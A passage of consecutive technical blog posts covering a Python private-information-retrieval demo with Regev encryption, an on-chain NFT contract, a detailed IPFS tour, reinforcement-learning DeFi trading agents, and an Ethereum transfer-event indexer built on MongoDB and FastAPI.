    query_col = 5

    log_debug(f'query_row: {query_row}, query_col: {query_col}\n')

    ########################################################################
    # 3. Create query message vector
    ########################################################################
    log_debug('3. Let\'s create a query message vector, of size m, that is 1 at ' +
                                            'the query column and 0 elsewhere.')                

    query = msg.create_zero_message(regev.mod, regev.m, 1)
    query.set_query_element(query_col, 0, 1)

    log_debug(f'query vector: {query.message}\n')

    ########################################################################
    # 4. Encrypt query message vector
    ########################################################################
    log_debug('4. Let\'s encrypt the query message vector, calculating A and e.')
   
    _, A, e = regev.create_message_setup()

    # Here we could either use mod or p as the scaling factor.
    s = regev.create_secret_key()

    log_debug(f'The secret key s: {s}')

    ########################################################################
    # 5. Scale query vector by delta = mod / p and db vector from p to mod
    ########################################################################
    log_debug('5. We scale the query vector by delta=mod/p and db vector to 1/p')

    scaled_query = query.calculate_scaling(regev.mod, regev.p, regev.mod)
    scaled_db = db.calculate_scaling(1, 1, regev.mod)

    log_debug(f'scaled_query: {scaled_query}')
    log_debug(f'scaled_db: {scaled_db}\n')

    ########################################################################
    # 6. Encryption by calculating B and ciphertext c
    ########################################################################
    log_debug('6. Let\'s encrypt the query vector by calculating B and ciphertext c.')
    c_query = regev.calculate_encryption(A, s, e, scaled_query)

    log_debug(f'c_query: {c_query}\n')

    ########################################################################
    # 7. Compute encrypted result
    ########################################################################
    log_debug('7. Let\'s compute the encrypted result by calculating the dot ' +
                 'product of the encrypted query and the encrypted database.') 

    c_result = (scaled_db * c_query[0], scaled_db * c_query[1])

    log_debug(f'c_result: {c_result}\n')

    ########################################################################
    # 8. Calculate the decryption of the ciphertext c_result to find the
    #    result of the PIR query at the query_col th column
    ########################################################################
    log_debug('8. Let\'s calculate the decryption of the ciphertext c_result')                 
    m1 = regev.calculate_decryption(s, c_result)

    log_debug(f'm1: {m1}\n') 

    ########################################################################
    # 9. Scale the result by p / mod
    ########################################################################
    log_debug('9. Let\'s scale the result by p / mod.')
    m1_scaled = m1.calculate_scaling(regev.p, regev.mod, regev.p)

    log_debug(f'm1_scaled: {m1_scaled}\n')

    ########################################################################    
    # 10. The message vector m1_scaled should be equal to the db at the 
    # query vector query_row, query_col, showing that PIR works.
    ########################################################################
    log_debug('10. The message vector m1_scaled should be equal to the db at ' +
               'the query vector query_row, query_col, showing that PIR works.')  

    log_debug(f'db.get_query_element({query_row}, {query_col}): {db.get_query_element(query_row, query_col)}') 
    log_debug(f'm1_scaled.get_query_element({query_row}, 0): {m1_scaled.get_query_element(query_row, 0)}\n')            

    correct_retrieval = m1_scaled.get_query_element(query_row, 0) == \
                        scaled_db.get_query_element(query_row, query_col)

    log_info(f'Are they the same? Did we get a correct retrieval? {correct_retrieval}\n')

here is an example of an output when you run this experiment:

did i convince you that PIR (or, more properly, math) feels just like magick?

1001. concluding thoughts

if you would like to learn more about PIR, here are some canonical papers:

• private information retrieval and its applications, sajani vithana et al.

• practical private information retrieval, femi george olumofin

• how practical is single-server private information retrieval?, sophia artioli

• applying private information retrieval to lightweight bitcoin clients, kaihua oin et al.

• computationally PIR with polylogarithmic communication, c. cachin et al.

• single-database PIR with constant communication rate, c. gentry et al.

• evaluating s-dnf formulas on ciphertexts, d. boneh et al.

• reducing the servers’ computation in PIR retrieval, a. beimel et al.

• piano, extremely simple, single-Server PIR with sublinear server computation, m. zhou et al.

◻️ motherofbots.eth

today i go over the smart contract i created two years ago for a nft collection celebrating the sunset of filmmaker dao.

it was called the “storytelling card”, and folks were able to generate their unique nfts on the fly by inputting an int up to 1337:

my contract was loosely based on the loot project, and it deployed a (sort of) generative erc-721 collection in the ethereum mainnet (for the cost of ~$2k or so). here is the source code.

it was a fun project 😊…

🎶 today’s mood

https://open.spotify.com/track/5NFZLpFoP4fVWjmc007A5k?si=cc2f1c312fcb4a32

can you guess how these nfts were generated on-chain?

the idea of this collection was to create unique, randomized, and limitless narratives generated and stored on-chain, as a novel approach to storytelling.

here are some of my favorites:

do you see the pattern?

if you are an engineer, could you guess how these cards were (pseudo-)randomly generated?

the smart contract

long story short, the dao was about to dissolve because our investor backed off. so this project was my farewell token for the community.

for this reason, i wanted the contract to be immutable and self-contained. there was no reason to deploy it on a proxy, because it wasn’t supposed to be upgraded. and… there was no payable function.

yeap, you read it right: the contract was not for profit. part of the narrative was that it was never meant to be cashed out (sort of an easter egg - but also the sort of thing you only do once in life and during a bull market…).

i also remember that the contract size limit hit hard during my first attempt to deploy it to the ethereum mainnet (or when i was testing it on rinkeby). i had to move things around to fit the size limit of 24577 bytes. i customized (and consequently, prettified) every canonical library before everything was imported.

and, off-course, i needed a nice intro =p:

now, the contract was a pretty straightforward erc-721 instance, with the sale price intentionally hard-coded:

the magick trick was carried out by ten arrays that would mesh together, creating the narratives: genres, medium, cities, archetypes, verbs, objects, titles, adjectives, locations, and, of course, colors.

the pseudo-random function was very simple and predictable, with the tokenID as the input string:

to create a card’s generative SVG image on-chain, a function called tokenURI was crafted, outputting an array composed of one element of each of the sets above, plus some image customization (this part needed some work):

the last pieces of the contract were the mintCard and ownerClaim methods:

deploying the contract

at that time, foundry wasn’t a thing, so i used hardhat.

here was the config file (with PRIVATE_KEY , API_ENDPOINT, API_ETHERSCAN in an .env file):

if you are not a blockchain developer, don’t worry, all you would need to do to compile the contract was:

npx hardhat compile

and then deploy with a simple javascript script:

npx hardhat run scripts/deploy.js

another easter egg

all right, here is some teasing, my dear anon.

if you are puzzled about how i ended up writing this collection for filmmaker dao, here is how everything started, during the bull of summer’21…

https://vimeo.com/638007916

https://story.mirror.xyz/gbwXf_IOm4BkUNmWYWz5M-47Te8ELuQngClR8iHFxDU

crypto can be wild…

◻️ motherofbots.eth

today i go over a deep tour on IPFS (an 8 years-old distributed filesystem based on - and the origin of - libp2p).

in one sentence, IPFS is:

a suite of protocols and specs for organizing|representing, and transferring|routing data through content addressing, which is mapped to peer addresses through a distributed hash table (DHT).

the IPFS protocol is an alternative to location-based addressing (i.e., when a CDN serves HTTP requests), providing low-latency access to replicated data retrieved from multiple locations.

💎 today’s motivation

being a hacker for over two decades, i regret losing some of my work | history on the way because they were in some random cloud | third-party servers that are no longer available. when you create, you transfer part of your humanity | life-time to your creation, so losing that feels like losing old photographs (here is a guide on tor and security i wrote a decade ago that it’s still up 🙂).

i also see a cypherpunk future where IPFS is a main backbone of dweb(s), securing individual’s data sovereignty. i invite you to be part of it.

finally, this post was inspired by this tweet:

https://twitter.com/VitalikButerin/status/1660875485969100802

📺 today’s outline

00. the ipfs protocol
            00.0000. UnixFS, MFS, IPLD
            00.0001. blocks, CID, multiformats
            00.0010. distributed hash table
            00.0011. bitswap 
            00.0100. IPNS 
            00.0101. gateways 

01. running a node
            01.0110. install && setup
            01.0111. bootstrapping
            01.1000. adding objects
            01.1001. pinning objects
            01.1010. downloading objects
            01.1011. security && privacy

10. final thoughts
            10.1100. the filecoin blockchain 
            10.1101. deploy a website in IPFS in 5 minutes
            10.1110. resources && open questions

🎶 today’s mood

https://open.spotify.com/track/3dIlvA01GpLLgUttlq1wVJ?si=3dd0a4fc7ba54c99

💾 00. the IPFS protocol

00.0000. UnixFS, MFS, IPLD

you have some data you want to upload to IPFS: how does it become content addressed?

larger files are split into chunks of 256 KB (or 32 bytes, from default SHA2-256 + base32, read on…), called IPFS objects, and each of these objects contains links to all the other objects corresponding to the original data.

using standards from the unix file system (UnixFS), IPFS can chunk and link data too big to fit in a single block, and use the chunked representation to store and manage the data.

in addition, the mutable file system (MFS) is a built-in tool that helps to address files as regular name-based filesystems, i.e., by abstracting the work of updating the links and hashes when you edit, create, or remove objects.

💡 UnixFS is a protocol-buffers (protobuf) based format for describing objects (i.e., files, directories, and symlinks) in IPFS.

this is how UnixfsV1 data structure looks like:

message Data {
    enum DataType {
        Raw = 0;
        Directory = 1;
        File = 2;
        Metadata = 3;
        Symlink = 4;
        HAMTShard = 5;
    }

    required DataType Type = 1;
    optional bytes Data = 2;
    optional uint64 filesize = 3;
    repeated uint64 blocksizes = 4;
    optional uint64 hashType = 5;
    optional uint64 fanout = 6;
    optional uint32 mode = 7;
    optional UnixTime mtime = 8;
}

message Metadata {
    optional string MimeType = 1;
}

message UnixTime {
    required int64 Seconds = 1;
    optional fixed32 FractionalNanoseconds = 2;
}

in this paradigm where “client/server” no longer holds up, an object divided into blocks by a chunker is arranged in a tree-like structure using link nodes to them together.

through the interplanetary linked data (IPLD), a meta-format for encoding and decoding merkle-linked data, IPFS represents relationships between objects’ content-addressed data (such as file directories and symlinks).

💡 a merkle tree is a tree in which every node is labeled with the cryptographic hash of a data block, and every node that is not a leaf (branch or inode) with the hash of the labels of its child nodes.

more specifically, the chunked representation is used to store and manage data on a CID-based directed acyclic graph called merkle DAG (CID is IPFS’s content ID, an absolute pointer to content, explained in the next session).

💡 merkle DAGs are similar to merkle trees, but there are no balance requirements, and every node can carry a payload.

the returned CID is the hash of the root node in the DAG:

00.0001. block, CID, multiformats

in IPFS, a block is a single unit of data associated with a unique and immutable content identifier representing the data itself (the hash + the codec of the data) as an address string.

each block’s CID is calculated using multiformats, which combines the multihash (info on the hash algorithm) of the data plus its codec.

speaking code, this is the structure that represents the above:

type DecodedMultihash struct {
   Code   uint64  --> <0x12 for SHA2-256>
   Name   string  --> <SHA2-256>
   Length int     --> <32 bytes>
   Digest []byte 
}

and here are the specs for codec versions:

• CID v0 codec

  • defaults to base58 encoded SHA2-256 (i.e., a 46 characters string starting with Qm).

💡 base58btc was developed for bitcoin, with reading-friendly properties such as zero and the capital letter O are not included.

• CID v1 codec (flag ipfs add --cid-version 1)

  • brings multibase prefixes (info on how the hashed data is encoded), such as:

    b - base32 --> CIDS start with ba
    z - base58
    f - base16
    

  • with IPLD multicodec prefixes (info on how to interpret the hashed data after it has been fetched - here is the complete list), such as:

    0x55 - raw (raw binary) 
    0x70 - dag-pb (merkleDAG protobuf) 
    0x71 - dag-cbor (merkleDAG cbor) 
    0x78 - git object
    0x90 - eth-block (ethereum block)
    0x93 - ethereum transaction
    

00.0010. distributed hash tables

now, let’s talk a bit about how IPFS finds a given CID on the network through peer routing (identified by a public peerID , the IPFS node multihash unique identifier derived from the peer’s public key and linked to its IP and port).

the IPFS protocol is backed by a big (libp2p) distributed hash table (DHT) called kademlia, which maps CID to the peerID so that the data chunks can be accessed by:

• an IPFS path ipfs://<CID>,

• a gateway url https://ipfs.io/ipfs/<CID>,

• your node cli, etc.

💡 libp2p is a networking framework for the development of p2p applications, consisting of a collection of protocols, specifications, and libraries for flexible addressing, transport agnostic, customizable security, peer identity and routing, content discovery, and NAT traversal.

🫱🏻‍🫲🏽 when a new object is uploaded to IPFS: the peer announces to the network that it has new content by adding an entry to the DHT that maps from CID to its IP address.

🫱🏻‍🫲🏽 when a user wants to download new data: they would look up its CID in the DHT, find peers’ IP addresses, and download the data directly from them.

💡 DHT is said to be “distributed” because no single node (peer) in the network holds the entire table. each node (peer) stores a subset of the table and the information on where to find the rest.

the DHT’s distance metric, i.e., the distance between two peerIDs, is a logical distance used to classify the nearest peers. this distance function is computed by applying an XOR operation to the ids and then converting it to a ranking integer.

💡 if an IPFS node does not implement the DHT, delegated content routing to another server or process over HTTP(S) can be configured.

00.0011. bitswap

💡 bitswap is IPFS’s message-based (libp2p) protocol for data transfer (as opposed to, for example, the HTTP’s request-response paradigm).

with bitswap, messages (e.g., “who has this CID?”) are transmitted to all connected nodes (peers) as an alternative to transversing the DHT.

the node can then decide if the message should be stored (e.g., in a wantlist), processed, or discarded.

00.0100. IPNS

when an object gets updated, and a new CID is generated (changing the IPFS URI), how does the node inform peers?

IPNS is a protocol that maps the hash of the peer’s public key to its (mutable) content by a mutable pointer.

IPNS is associated with records containing the content path (i.e., /ipfs/<CID>) it links plus metadata (such as the expiration, the version number, and a cryptographic signature signed by the corresponding private key). new IPFS records can be signed and published at any point by the private key holder.

by the way, IPNS is the third type of key-value pairings updated and found using the same DHT protocol (i.e., kademlia):

00.0101. gateways

IPFS gateways allow applications that do not support IPFS to fetch data from the IPFS network by an HTTP interface.

for instance, to make a website hosted on IPFS more accessible, you can put it inside a directory and create a DNSLink record for its CID (e.g., see cloudflare integration). it uses DNS TXT records to map a DNS name to an IPFS address so you can always point them to the latest version of an IPFS object (e.g., dnslink=/ipfs/<CID>).

end-users can then make requests to a universal gateway URL such as https://cf-ipfs.com/ipns/en.wikipedia-on-ipfs.org/ and have their requests translated to the correct CID in the background.

💡 while a gateway with a DNSLink record (restricted gateway) is restricted to a particular piece of content (either a specific CID or an IPNS hostname). a universal gateway allows users to access any content hosted on the IPFS network.

💾 01. running a node

01.0110. install && setup

install the IPFS CLI using these instructions (note that you also have the option to run a GUI or inside a Docker container).

start your local node with:

this command creates the directory ~/.ipfs containing the information of your IPFS node:

your node is ready to get started. if you plan to run it intermittently, you will want to configure the ports in your firewall (or if under a VPS).

additionally, you might want to setup your node’s HTTP gateway (or nginx proxy + CORS), to allow HTTP requests to access the content (i.e., allowing fetching to something like http://<your_ip>:8080/ipfs/<CID>).

a useful CLI command for this is ipfs config show.

💡 nodes running on residential WiFi tend to have long wait times or high rates of failure because the rest of the network can find it difficult to connect through their NAT (i.e., the internet router, or how the modem knows which private IP / device is acting as a server). this could be ameliorated by setting up port forwarding on the router directing external connections to port 4001 (or moving the node to a hosted server).

for completeness, here is how the IPFS desktop GUI looks like, if you choose to go that direction instead:

01.0111. bootstrapping

when you first connect the internet with a new client or server (by starting the IPFS daemon), your node will be bootstrapped with a collection of IP addresses to start you up (and you can also define the nodes):

if you are serious about running your node, you might want to run the IPFS daemon in the background with some process manager (such as supervisord in linux).

at this point, the add , pin, and cat commands are the most significant IPFS functions, but here is more fun stuff:

01.1000. adding objects

the IPFS add command creates a merkle DAG for the objects (following the UnixFS data format):

01.1001. pinning objects

💡 pinning is the process of specifying what data is to be persisted on one or more IPFS nodes. this ensures that data is accessible indefinitely and will not be removed during the I garbage collection.

with add, the content does not automatically replicate across the network. you need to pin the CID to your local DHT, associating it to your IP address/port (or accessible endpoints obtained from NAT traversal):

💡 once your CID is uploaded to other nodes’ DHT (i.e., once another node downloads the content), it can’t be removed from the network. however, if you are the only node hosting the content, you can unpin it and remove it from your DHT.

pinning allows the node to advertise that it has the CID (a continuous process that repeats every ~12 hours).

💡 if many minutes have passed since objects were uploaded to an IPFS node and they’re still not discoverable by other gateways, it’s possible the node is having trouble announcing the objects to the rest of the network.

you can make sure the content is pinned by running:

ipfs pin -r <CID>

or you can force the announcement by running:

ipfs dht provide -rv <CID>.

finally, when working with production and/or large amounts of data, you might want to use a (paid) pinning service that runs many IPFS nodes. here are some examples: pinata, infura, nft.storage, fleek, and filebase.

01.1010. retrieving objects

when you request an object (e.g., by ipfs get <CID> or by typing ipfs://<CID> in your brave browser or at an IPFS gateway), the IPFS client:

1. consults its local DHT table to see where this CID is located and gets back a collection of IP addresses/ports, or

2. asks connected peers over bitswap, or

3. makes an HTTP call to a delegated routing server.

once the mapping is retrieved, block fetching is started. the client downloads chunks of the content from each peer. the client also verifies the hashes for each block.

once all the blocks are retrieved, the local node is able to reconstruct the merkle DAG and replicate the requested content.

once the client has the content and if it supports being a DHT server, the client will update its local DHT table with the CID. the new updated DHT is then propagated across the peers (even if it’s not explicitly pinned).

01.1011. security && privacy

as a public network, participating IPFS nodes (peers) use CIDs to store and advertise data through publicly viewable protocols, without protecting the information about CIDs.

traffic and metadata can be monitored to infer information about the network and the users. while IPFS traffic between nodes is encrypted, the metadata the nodes publish to the DHT is public, including:

• CIDs of data that they're providing or retrieving, and

• the peerID, as it’s possible to do a DHT lookup, and particularly if a node is running from a static location, it should reveal its IP address.

although adding built-in privacy layers to decentralized networks is a complex topic and usually conflicts with the modular design of the network, some basic security measures can help to make your node more private:

• disable CID re-providing by default (as your node temporarily becomes a host for the content until its local cache is cleared),

• encrypt data at rest (content-encryption), and

• use an external IP address that is not connected to anything else in your life.

in addition, if you are not running a local node but, instead, loading IPFS through a public gateway (e.g., with brave or from this list), the gateway can still see your IPFS browsing activity (including the log of your IP address or your browser).

if of interest, you can also check some encrypted-base projects on top of IPFS, such as ceramic and orbitDB.

finally, as a dweb hacker, i find the subject of privacy and security in decentralized webs fascinating. at some point, i would like to write more about treat models and poc-ing nodes’ metadata analysis. for now, however, stay tuned to a soon-to-be-published post where i will be talking more in-depth about a similar topic, my research on ethereum validator privacy.

💾 10. final thoughts

10.1100. the filecoin blockchain

for long-term storage, a step further from pinning services is the filecoin blockchain, a decentralized storage network built on top of IPFS where providers rent their storage space to clients (through a deal on how much data will be stored, for how long, and at what cost).

the verifiable storage in filecoin works under a general consensus named “proof-of-storage”, which is divided into “proof-of-replication” and “proof-of-spacetime” and worth of their own mirror post.

since the retrieval process might be slower than an IPFS pinning service and there is a requirement for the minimal file size accepted, combined IPFS + filecoin solutions are also available. examples: estuary, web3.storage, and chainsafe storage.

for completeness, here are some alternative solutions with a more specific focus or use of a specific data storage mechanism: arweave, bittorrent, and swarm.

10.1101. deploy a website in IPFS in 5 minutes

for anyone who somehow made it to the end of this article only wanting some sort of “front-end” IPFS deployment how-to guide, here will go…

let’s use fleet to deploy a website hosted in github to IPFS in 111 visual steps:

10.1110. resources && open questions

if you enjoyed IPFS, i invite you to check these further resources:

• IPFS docs

• IPLD primer

• resnet tour by protocol labs

• launchpad by protocol labs

• IPFS kubo (go)

• IPFS browser extension

• the multihash protocol

• the library genesis and some other enjoyable IPFS archives:

and to think about these:

• IPFS lacks a fully functional search engine. what could be a workaround?

• hydras and ipfs: a decentralized playground for malware, arxiv:1905.11880, IPFS: The New Hotbed of Phishing by trustwave, and cyber criminal adoption of IPFS for phishing, malware campaigns by talos.

• in a following post, i will be diving more into peer-to-peer connectivity && libp2p. stay tuned.

◻️ motherofbots.eth

my journey with machine learning started back in my phd, when i spent two good semesters mathematically and programmatically deriving all the ml classifiers, while researching complex networks (graph) classification. when i was an engineer at yelp and then at apple, i had the opportunity to build several in-house ml projects as well (some of my research can be found in my old blog, “singularity.sh” and in this repository).

however, it was only last year when i started looking at the applications of this knowledge to defi, including experiments using non-canonical features such as crowd sentiment analysis and astronomy.

in this post, i introduce the first pieces of this ongoing side project. the problem we are trying to solve is: “how do we build defi trading agents that maximize cumulative rewards as realized profit”?

🎶 today’s mood

https://open.spotify.com/track/7DyPHYkcnkHpPNUrEwitdf?si=547c8ae44113432d

👾 reinforcement learning for the uninformed

the setup

i assume you have some background in machine learning, neural networks, and reinforcement learning. if you need to refresh the basics, i suggest the resources linked at my (public) ml research repository (or chatgpt 🥲).

the difference between reinforcement learning and supervised or unsupervised learning is that it uses training information on the agent’s action rather than teaching the correct actions.

in a high level, the elements of a reinforcement learning system are:

1. the agent (the learning bot);

2. a model of the environment (anything outside the agent);

3. a policy, defining the learning agent's behavior at a given time (think a map of perceived states to actions to be taken). it might be stochastic (defining probabilities for each action);

4. a reward signal, modeling the goal of the agent. it’s the value given by the environment and sent to the agent on each time step, which needs to be maximized;

5. a value function, specifying the total reward the agent can expect to accumulate over the future (and can be used to find better policies).

solving a reinforcement learning task means having your agent interact with the environment to find a policy that achieves great reward over the long run (maximizing the value function).

markov decision processes

markov decision processes (mdp) are a canonical framing of the problem of learning from interaction with an environment to achieve a goal. the environment’s role is to return rewards, i.e., some numerical values that the agent wants to maximize over time through its $CHOICES of actions.

back in statistical and quantum physics, we use markov chains to model random walks of particles and phase transitions. this is because markov chains are a classical formalization of sequential decision-making, where actions influence immediate rewards AND subsequent situations. this means looking at the trade-offs of delayed reward by evaluating feedback and choosing different actions in different situations.

let’s ask our friend what they think:

for our defi agent, a reinforcement learning task can be formulated as a markov decision problem by the following process:

1. the agent acts in a trading environment, which is a non-stationary pvp game with thousands of agents acting simultaneously. market conditions change, agents join or leave or constantly change their strategies.

2. in each step of time, the agent gets the current state (S_t) as the input, takes an action (A_t, buy, hold, sell), and receives a reward (R_{t+1}) and the following state (S_{t+1}). the agent can now choose an action based on a policy (pi(S_t)).

3. the endgame is to find a policy that maximizes the cumulative reward sum (e.g., P&L) over some finite or infinite time.

dynamic programming

dynamic programming can be used to calculate optimal policies on mdp, usually by discretizing the state and action spaces.

generalized policy iteration (gpi) is this process of letting policy-evaluation and policy-improvement processes interact through dp.

recall that we can improve a policy by given a value function for that policy, with the following interaction:

• one process makes the value function consistent with the current policy (policy evaluation),

• and the other process makes the policy greedy for the current value function (policy improvement).

a possible issue, however, is the curse of dimensionality, i.e., when the number of states grows exponentially with the number of state variables in the learning space.

👾 the defi learning agent

in a high level, our learning agent must sense the state of the environment and then take actions that will change their state.

in practical terms, our defi agent bot is developed and deployed through the following stages:

data engineering infrastructure

creating a data engineering infrastructure extracting and cleasing historical blockchain data.

for instance, we might want to retrieve ethereum logs, trace the mempool, or even extract data such as account balance and open limit orders.

this part would also encompass feature selection, i.e., selecting the desired token pairs, dex venues, and what data should be relevant.

defining the initial policy

next step is to model an initial policy. this can be done by extracting pre-labels from the training data (the historical data up to that point) by running a supervised model training, then studying the features.

the action space could be composed of three actions: buy, hold, and sell. the agent would initially have a deterministic amount of capital on each step.

in reality, however, the agent needs to learn how much money to invest in a continuous action space. in this case, we could introduce limit orders (with variables such as price and quantity, or cancel orders that are not matched).

optimizing the policy and parameters

next stage is to optimize the agent’s policy, on which reward function could be represented by the net profit and loss (i.e., how much profit the bot makes over some time, with or without trading fees). we could also look at the net profit the agent returns if it were to close all of its positions immediately.

moreover, adding real environmental restrictions is part of the optimization process. the simulation could take into account order book network latencies, trading fees, amount of liquidity, etc.

making sure we separate validations and test sets is critical, since overfitting to historical data is a threat to the model.

backtesting

the next step is backtesting this policy. at this point, we could consider optimizing the parameters by scrutinizing environmental factors: order book liquidity, fee structures, latencies, etc.

paper-trading

finally, we would run paper-trading with real-time new market data, analyzing metrics such as sharpe ratio, maximum drawdown, and value at risk.

paper-trading should prevent overfitting. by learning a model of the environment and running careful rollouts, we could predict potential market reactions and other agents' reactions.

live trading

the last step is to go live with the deployment of the strategy and watch the live trading on a decentralized exchange.

👾 open questions

in following posts, i might go more in-depth into the code and the stack, but for now, here are a few questions for the anon friend to think:

• what token pairs and dex market should our agent trade on?

• what are the heaviest features to be training and making predictions on?

• can we discover hidden patterns from our feature extraction process?

• what should be the agent’s target market, and what protocols and chains should we extract features from?

• what are the right state for the agent to trigger a trade? in high-performance trading (hft), decisions are based on market nanosecond signals. although our agent needs to be able to compete with this paradigm, neural nets are slow, up to minutes.

• can we train an agent that can transit from bear to bull (and vice-versa)?

to be continued.

◻️ motherofbots.eth

today i go over a MVP for a scalable event scanner for ethereum, through indexing and parsing block events.

this is step 0 for building distributed systems that allow training machine learning models on the chains (e.g., high-frequency trading with deep learning) and other shenanigans.

this is one data engineering approach: when you consciously decide to build a data lake and want to learn more about how blockchain emit logs. this project can be built in one day. for a rust agent that performs (websockets) monitoring on cexes and other approaches, check go-outside-labs’ kiddor-searcher-bot.

today you will learn how to:

1. leverage python to build a cli tool that indexes transfer events for a particular token through eth_getLogs,

2. prepare the data to be ingested and loaded into a simple nosql database (mongodb),

3. build and deploy a restful api for fast balance and ownership statistics retrieval with python’s fastapi (while looking at asynchronous performance).

in future posts, i shall review the next steps of a production-grade scanner, for instance:

• how to create graphql structures with the graph

• how to index blockchain(s) data into a graph database, such as neoj4, or high performance nosql databases, such as apache cassandra, or apache arrow data structures

• an in-depth exploration of google’s (nosql) bigtable projects (e.g., by the blockchain-etl group), and apache airflow dags for exporting, loading, and parsing data

• an in-depth look at state-of-the-art distributed sql query engines, such as trino

• how to implement distributed event streaming (e.g., with apache kafka, amazon sqs and sns, or rabbitmq)

• how to index local nodes (e.g., with a local running execution client, as opposed to using external rpc urls)

• how to simultaneously index other tokens and alt chains

• how to deploy this pipeline through kubernetes and terraform, as it scales for over 100mil+ entries

🎶 today’s mood

https://open.spotify.com/track/1CkGUqwaz1UfFSo2BmySGI?si=e78e006febd945ac

🦅 a cli tool to index token’s events

in this post, we are building a data engineering tool to index and process block data on ethereum. by the end, you should have a full api deployed in the cloud plus a local cli tool as well:

to get started, either clone my code or write your own files as we review this post.

installing dependencies

create a venv, either using virtualenv, pipenv, or poetry.

because of some of the dependencies in this code, we will be developing on a python3.9 environment (install here if you don’t have that version on disk):

> virtualenv -p /usr/local/bin/python3.9 venv
> source venv/bin/activate
> make install_dep

add environment variables

now, create a .env file and add an RPC_PROVIDER_URL to connect to ethereum mainnet nodes (for example, from this list):

> cp .env.example .env
> vim .env

project structure

this is what this final project looks like (you get this by running tree):

installing the package

> make install
> indexer -h 

🪙 Token indexer and API.
(...)

the main class

the entry point of this project is through src/main.py:

🦅 indexing historical transfer events

before we review the first class in this project, TokenIndexer (which retrieves the token’s historical transfer event data from the ethereum mainnet), we need to decide which token we would like to index.

in this example, i am looking at an erc-721 token, the doge nft (dog) token. feel free to add your favorite token’s contract in the .env file:

TOKEN_CONTRACT = 0xBAac2B4491727D78D2b78815144570b9f2Fe8899

by the way, all environment variables are retrieved by a function defined inside src/utils/os_utils.py, shown below. note that the last method in the file, send_rpc_request(), issues the post requests to ethereum’s json-rpc api:

finding out the contract’s abi (and dealing with proxies)

we also need the abi of the contract.

since the doge nft token contract is behind a proxy, to be able to index the transactions (e.g., call Transfer()), we need to retrieve the abi of the proxy contract (while still using the original contract’s address).

how do you extract the abi from a contract?

(remember that the abi, the contract’s application binary interface, is the interface that specifies how to interact with this specific contract, including method names, parameters, constants, data structures, event types, etc.)

in this case, since the contract is verified on etherscan, we can call the endpoint below (which needs an api key that can be created here):

https://api.etherscan.io/api?
module=contract&
action=getabi&
address=0x7b0fce54574d9746414d11367f54c9ab94e53dca&
apikey=<etherscan api>

for non-verified contracts, you can try tools like this one.

paste the abi into a json file inside ./abi/.

finally, add the path for this file in the .env file:

TOKEN_CONTRACT_ABI = ./abi/<abi file.json>

fetching the data

to allow users to access transactions event data, the ethereum evm keeps an event log of every block’s transactions, which can be retrieved with the eth_getLogs json-rpc method. in other words, any time a transaction is minted, event logs are fired.

we are interested in Transfer() events, which represent functions that can transfer some assets between two addresses. an event signature is used to identify this specific event log, which is the keccak-256 hash of Transfer(from, to, value):

keccak256(Transfer(address,address,uint256) = ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

this is an example of the data passed when calling eth_getLogs:

{
  'jsonrpc': '2.0', 
  'method': 'eth_getLogs', 
  'params': 
      [
        {
          'address':'0xBAac2B4491727D78D2b78815144570b9f2Fe8899', 
          'fromBlock': '0x1', 
          'toBlock': '0x1389', 
          'topics':  [
'0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'  
                    ]
       }
      ], 
 'id': 1
}

and this is an example of response:

{
  'address': '0xbaac2b4491727d78d2b78815144570b9f2fe8899',  
  'blockHash':'0x543c387ba2d9b8173cba357d51f2f7329fcd02d475d9e116d749f8cdc203d763', 
  'blockNumber': '0xc85a3e', 
  'data':'0x000000000000000000000000000000000000000036d5011c02b1b33ec5840000', 
  'logIndex': '0x25f', 
  'removed': False, 
  'topics': ['0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef','0x0000000000000000000000000000000000000000000000000000000000000000','0x000000000000000000000000f5c27c6fe782cbb5c85989ea3e75754748153459'], 
  'transactionHash':'0x5e5d83fd2d43b3f7aab6f2b4c21a69dd6d804f59711dec13198d4792a4e5e158', 
  'transactionIndex': '0x199'
}

back to ourTokenIndexer class, we can see how eth_getLogs is being leveraged to retrieve the target transfer events:

note that this class uses math methods that are defined in the file below:

we can now fire the indexer and start retrieving the historical transfer events data on ethereum:

> indexer -e
(...)
ℹ️ Indexing transfer events between blocks 16780001 and 16809808...
loading blocks 16780001 to 16785001
ℹ️ Found 30 transfer events between blocks 16780001 and 16785001.
loading blocks 16785001 to 16790001
ℹ️ Found 26 transfer events between blocks 16785001 and 16790001.
loading blocks 16790001 to 16795001
(...)
ℹ️ Results were saved at ./output/raw_data_2023-03-11_21-15-52.json.

verifying the data

once all the blocks are indexed (it might take some time, depending on the token), we should run a sanity check by checking the data against etherscan (a great tool for JSON exploitation is jq):

> cat <result json file> | jq . | tail  

nice, the last entry of that particular result file does match with etherscan.

this is the bulk of the data to be ingested into our database (i.e., cached). from here, every new block info can be added on top of this historical data whenever a query is being run.

🦅 preparing the data prior db ingestion

to prepare the data, let’s write a script that processes the transfer events into balances by wallet:

running it:

> indexer -p <json result file>
ℹ️ Writing balances to ./output/balances_*.json

> cat ./output/balances_*.json
(...)
"0xd2b91e16b8bed2b643e600cbeb88f4ebb1ca1727": 10250.336445767043,
"0x716a42b8b7a89ccfedb90d42036166846c38ac75": 10251.214376623593,
"0xa957498ad9744f5c827056988b2c948c09a8d722": 10260.791115637423,
"0x5616721ca2a299f36e9ba02bf2770961c3899c43": 10261.38906964618,
"0x040baa573b9dab3143425d7e0d11916961d385bf": 10269.571681498099,
(...)

sweet, it works: we have the historical balance data by wallet.

🦅 setting up the mongodb database

the next step is to feed the balance data into the database so that it can be accessed by the api we are building.

we will be using a document database, mongodb, in which a record is a document composed of field and value pairs (similar to a dict or a json). mongodb stores data records as bson, a binary representation of json.

mongodb stores documents inside collections (something like tables in sql/relational databases), and each collection is assigned to an immutable uuid (universally unique identifier).

setting up a local mongodb

when developing software, a local setup is necessary prior to the production (cloud) deployment.

start by installing mongodb following these instructions. to install a local gui, download mongodb compass.

to start the service, run:

brew services start mongodb-<version>

the default connection is set at http://localhost:27017, and you can check whether the process is running with:

ps aux | grep -v grep | grep mongod

a mongodb shell written in javascript can be launched with:

loading the balance data into the local db instance

let’s run a python script that loads the balance data into the local database (note that this only should be run once, and all the later db handling is done by methods from the server/ module):

running indexer -d <balances file.json> populates the balances collection:

🦅 creating and deploying an api service

fastapi is a high-performance framework built on top of asyncio, a python library that implements concurrent code using the async/await syntax.

